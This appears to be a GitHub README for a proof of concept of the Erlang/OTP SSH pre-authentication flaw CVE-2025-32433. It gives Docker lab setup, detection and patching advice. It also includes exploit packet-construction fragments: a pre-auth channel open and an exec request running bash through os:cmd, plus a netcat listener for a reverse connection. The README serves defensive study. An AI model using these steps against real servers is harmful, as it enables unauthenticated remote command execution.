
Description: A demonstration of the Erlang/OTP SSH Pre-Authentication Channel Confusion vulnerability.
What is this PoC about?
This Proof of Concept demonstrates CVE-2025-32433, a vulnerability in the Erlang/OTP SSH server implementation that allows an attacker to open SSH channels and execute commands prior to authentication.
Due to improper enforcement of SSH protocol state transitions, certain SSH messages (SSH_MSG_CHANNEL_OPEN and SSH_MSG_CHANNEL_REQUEST) are accepted before user authentication has successfully completed. This results in a full authentication bypass and remote command execution within the Erlang VM.
What must be vulnerable for this to work?
The vulnerability can be triggered when the following conditions are met:
ssh application is enabledImportantly, this issue is not dependent on weak credentials or misconfiguration, but on flawed protocol state handling.
How does the vulnerability manifest, and why is it exploitable?
The issue stems from a state confusion flaw in the Erlang/OTP SSH server, where authentication state is not strictly enforced before channel-related messages are processed.
At a high level, exploitation proceeds as follows:
SSH_MSG_CHANNEL_OPEN request for a session channel.SSH_MSG_CHANNEL_REQUEST of type exec is sent on the opened channel.os:cmd/1) inside the VM context.This behavior violates the SSH protocol model defined in RFC 4252/4254, where channel creation and requests must only be permitted after successful authentication.
In short:
ssh_connection process processes exec requests prematurelyThis is a logic and state management vulnerability, not a cryptographic weakness.
The following steps build and deploy a self-contained vulnerable environment using Docker. The container runs a deliberately hardened SSH server that rejects all credentials, ensuring that any successful command execution is the result of an authentication bypass.
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
Once running, the SSH daemon will be exposed on port 2222 and is ready for exploitation using the provided PoC.
This script exploits a flaw in the Erlang/OTP SSH server that allows certain SSH protocol messages to be processed before authentication.
The exploitation process requires two terminals: one to receive the reverse connection, and another to launch the exploit.
Listener (Terminal 1):
nc -lvnp 4488
Exploit execution (Terminal 2):
python3 exploit.py
Protocol Spoofing
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
s.sendall(pad(kex))
These messages are used to make the server treat the connection as a legitimate SSH client. They advance the SSH protocol state far enough to allow channel-related messages without completing authentication.
Pre‑Authentication Session Channel
s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
This request is used to open a session channel before authentication. On vulnerable Erlang/OTP SSH servers, this bypasses normal access controls and creates an unauthorized session.
Command Execution Request
erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
This request is used to trigger command execution through the Erlang runtime. Wrapping the payload in Erlang syntax ensures the command is executed by the Erlang VM rather than treated as a standard SSH shell command.
If the target is vulnerable, the supplied command is executed without authentication.


Defense against this vulnerability relies on strict network segmentation and protocol-level monitoring, as standard authentication logs may not record the bypass attempts (since authentication is skipped).
SSH_MSG_CHANNEL_OPEN (Type 90) packets are sent immediately after Key Exchange, without a preceding SSH_MSG_USERAUTH_SUCCESS (Type 52) packet.os:cmd calls or shell process spawning that does not correlate with a successfully logged-in user session in the application logs.The only complete remediation is to patch the underlying Erlang/OTP runtime to enforce strict state transitions.
Upgrade the Erlang/OTP runtime immediately to a version that enforces authentication checks before channel creation. Ensure you are running a version newer than those listed in the "Affected Conditions" section.
Check the official Erlang/OTP GitHub Releases for the latest security patches.
If an immediate upgrade is not feasible, apply the following controls:
Disable the SSH Application: If the SSH interface is not mission-critical, stop the application to remove the attack surface:
ssh:stop().
Firewall Whitelisting: Strictly limit network access to the exposed SSH port to internal, administrative subnets only.
Antonie Șoga
AntonieSoga · Collaborator
Ene Călin Tudor
7uddy · Collaborator
Cristian Bănică
BanicaCristian04 · Collaborator
Educational and defensive research only.
